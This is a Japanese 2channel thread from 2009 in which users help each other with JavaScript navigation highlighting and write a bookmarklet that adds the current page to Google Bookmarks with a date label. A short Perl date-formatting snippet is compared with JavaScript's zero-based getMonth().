画像もテキストも含めてハイライト表示するにはどうすればいいか分からず聞いてみました。

私の言う絶対パスというのは
> 1. サーバー上の特定の directory を起点とする記述
こちらです。

例えば現在開いているページのURLがhttp://example.com/example/index.htmlであったとして、
ページ内にあるリンクがhttp://example.com/example/だった場合、同一のものとして扱うにはどうすればいいでしょうか。

422 : ◆.PT9876/4U :2009/11/23(月) 12:29:37 ID:???
>>421
>>415 をここでリンクしているのを忘れて別の目的に流用してしまいました.
用済みなら良いのですが...

>ページ内に現在のURLと同じURLのリンクがあれば
やっぱり解りません.
なぜって " リンク " とは あるページばら別のページへの関連付けが目的です.
原理的には元のページ自身への " リンク " が可能でも本質的にそれは無意味です.
個人的に Navigation を作るとしたら...

1. 他のページへのリンク
 <a href="〜">むにゃむにゃ</a>
2. 元ページの記述
 ほめぱげ

つまりリンクとしてでなく, 単なる文字列にしてしまいます.
js を使った自動 navigation でも同様にやればよいと思うのですが ?

つづく...

423 : ◆.PT9876/4U :2009/11/23(月) 12:53:26 ID:???
>>421
>現在開いているページ:
> http://example.com/example/index.html
>ページ内にあるリンク
> http://example.com/example/だった場合

1. location.hostname :
 http://example.com/ (どちらも同じ)
2. location.pathname :
 /example/index.html
 /example/ <- リンクとして記述することは可能だけど実際には index.html と同じ意味になる.

もしも js で比較するとしたら該当ページが
/example/ 内にあるかどうかが問題になるでしょう.
具体的には...

1. location.pathname を得る.
2. その中に 'example' と言う文字列を含むかどうかを調べる:
 location.pathname.match(/example/)
てな感じ

424 : ◆.PT9876/4U :2009/11/23(月) 12:59:26 ID:???
説明するほどに迷路に迷いこむような気がする.
こちらとしては
"こんな事をしたいのだけど, できる ?"
と聞いてくれた方が答えやすい.

というか, "こんなものを作ってくれ"
という依頼に答えるのが ここの趣旨だと思ってるんだけど...

425 : ◆.PT9876/4U :2009/11/23(月) 13:29:26 ID:???
js による Navigation が欲しいのなら
以前 自作した物を 提供しても良いかも ?

426 :Name_Not_Found:2009/11/23(月) 13:35:35 ID:IqJGsE+M
>>421
質問の仕方が悪いと全然話が進まないっていういい例だなぁ
多分何が伝わってないかもわからない感じなんだろうな

エスパーでレスしてみる
・まず、絶対パスにするのは前提
・絶対パスなのだからhrefは/で始まるかhttpで始まる(httpから始まるのは他のドメインだろう)
・今表示されているページのアドレスバーに入ってるURLがhttp://example.com/example/index.htmlだったとして
href="http://<他のドメイン>/hoge.html"ならmarkを付けない
href="/example/index.html"なら今表示されているページへのリンクだからmarkを付ける
href="/example/fuga.html"なら違うページなのでmarkを付けない
href="/example/"なら今表示されているページへのリンクだからmarkを付けたい?

4番目のhrefの動きはJavaScriptじゃ基本的には無理。
href="/example/"が今表示されているページへのリンクかどうかは実際にアクセスしないとわからない。
canonicalとAjax使ってアクセスして同一判断もできるだろうけど、そこまでやるのは普通じゃない

427 : ◆.PT9876/4U :2009/11/23(月) 17:04:31 ID:???
コンテンツではなく, "Related" をクリックして見て欲しい:
 ttp://homepage2.nifty.com/alter/wamcom/bookmarklet.html
nvi.js (navigation js)
 ttp://homepage2.nifty.com/alter/h/nvi.js

表示されているページの navigation がリンクになっていないことに注目して欲しい.
ちなみに "Related" とは同じカテゴリー (directory) 内のリンク一覧.
コンテンツに対する批判は一切受け付けません !

428 :Name_Not_Found:2009/11/23(月) 17:29:18 ID:???
Googleブックマークへ登録してくれるブックマークレットが欲しいです。

http://insideflag.blogspot.com/2009/03/google.html
上のURLのブックマークレットでは、タイトル、URLの他、メモ欄にそのサイトのmeta descriptionに書かれている
metaを自動記入することができます。

これに加えて、ラベルにその日の「月日」を加えるものを作って頂くことは可能ですか。(例:ラベル[2009/11/23])
宜しくお願い致します。

429 : ◆.PT9876/4U :2009/11/23(月) 17:44:57 ID:???
>>428
Googleブックマークなるものが何であるのかを調べることから始めることになります.
ターゲットの詳細を皆目 知らないので アッシには無理かと.
あと二人, ここを見てる人がいるようなので その人たちが答えてくれることを...
幸運を祈る !

430 :Name_Not_Found:2009/11/23(月) 20:21:11 ID:???
>>428
こんな感じかな。今macなのでIEの文字数制限にひっかかるか試してないけど。
いったんコピペしてテキストエディタとかで改行全部なくして1行にして試してみて

javascript:(function(){var%20a=window,b=document,c=encodeURIComponent,e=new Date(),
f=function(i){return (i<10)?('0'+i):i},d=a.open("http://www.google.com/bookmarks/mark
?op=edit&output=popup&bkmk="+c(b.location)+"&title="+c(b.title)+"
&labels="+e.getFullYear()+"/"+f(e.getMonth())+"/"+f(e.getDate()),"bkmk_popup","left="+((a.screenX||a.screenLeft)+10)
+",top="+((a.screenY||a.screenTop)+10)+",height=420px,width=550px,resizable=1,alwaysRaised=1");
a.setTimeout(function(){d.focus()},300)})();

431 :Name_Not_Found:2009/11/23(月) 20:55:30 ID:???
>>430
ありがとうございます。
試してみたところ、年月日の月が10月と表示されてしまいます。
自分で調べてみたのですが、JavaScriptで年月日を取得するには、月のみ+1する必要があるのでしょうか?
http://www.nishishi.com/javascript/2007/now-datetime.html
(上記ページの上から7行目ぐらい参照)

自分なりにBookmarkletを改造してみまして、下記のようなものを作ったところ、「今日」に限れば正しく表示できるようなりましたが、これで文法的に正しいのでしょうか?
私は、今までJavaScriptを作ったことがなく、自信がありません。

スレ違いであれば、以降は別のスレに移ろうと思います。

javascript:(function(){var%20a=window,b=document,c=encodeURIComponent,e=new Date(),f=function(i){return (i<10)?
('0'+i):i},d=a.open("http://www.google.com/bookmarks/mark?op=edit&output=popup&bkmk="+c(b.location)+"&title="+c(b.title)+"&labels="+e.getFullYear()+"/"+f(e.getMonth()+1)+"/
"+f(e.getDate())+"&annotation="+(function(n){var%20e=document.getElementsByName(n);return%20e.length>0?
e[0]["content"]:""})("description"),"bkmk_popup","left="+((a.screenX||a.screenLeft)+10)+",top="+((a.screenY||a.screenTop)+10)
+",height=420px,width=550px,resizable=1,alwaysRaised=1");a.setTimeout(function(){d.focus()},300)})();

432 :Name_Not_Found:2009/11/23(月) 21:14:12 ID:???
>>431
あ、ごめん。忘れてたw
getMonthは0から始まるので足す1してください。それで大丈夫。

433 : ◆.PT9876/4U :2009/11/24(火) 03:25:49 ID:???
js だけでなく, perl でも同じじゃないかな? :

sub date{
my $sec,$min,$hour,$mday,$mon,$year,$wday,$dtm;
($sec,$min,$hour,$mday,$mon,$year,$wday)=(localtime(time))[0..6];
@week=('Sun','Mon','Tue','Wed','Thu','Fri','Sat');
@mnth=('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');
$dtm=sprintf("%s.%02d.%04d (%s)%02d:%02d:%02d ",
$mnth[$mon],$wday,$year+1900,$week[$wday],$hour,$min,$sec);
return $dtm;
}#sub date

通常は month として数字そのものを使うことは少ない.
(たとえば 11/24/09 などとした場合, 月日年の対応関係がわかりずらい)
(日付の format は必ずしも一つではなく, 状況により順番が替わる)
だから Array を使って変換するのが一般的:

Array の index が 0 から始まることに対応した仕様ではないかと.
js と perl を比較すると js の開発時点で
perl を参考にしたと思われる部分が各所に見られるのがおもしろい.
というか, UNIX の仕様が そうなってるのに合わせた設計なのかも ?

154 KB [ 2ちゃんねる 3億PV/日をささえる レンタルサーバー \877/2TB/100Mbps]

取りに行ったけどなかった。次は一時間後に取りに行くです。
新着レスの表示

掲示板に戻る 全部 前100 次100 最新50
名前: E-mail (省略可) :


read.cgi ver 05.0.7.8 2008/11/13 アクチョン仮面 ★
FOX ★ DSO(Dynamic Shared Object)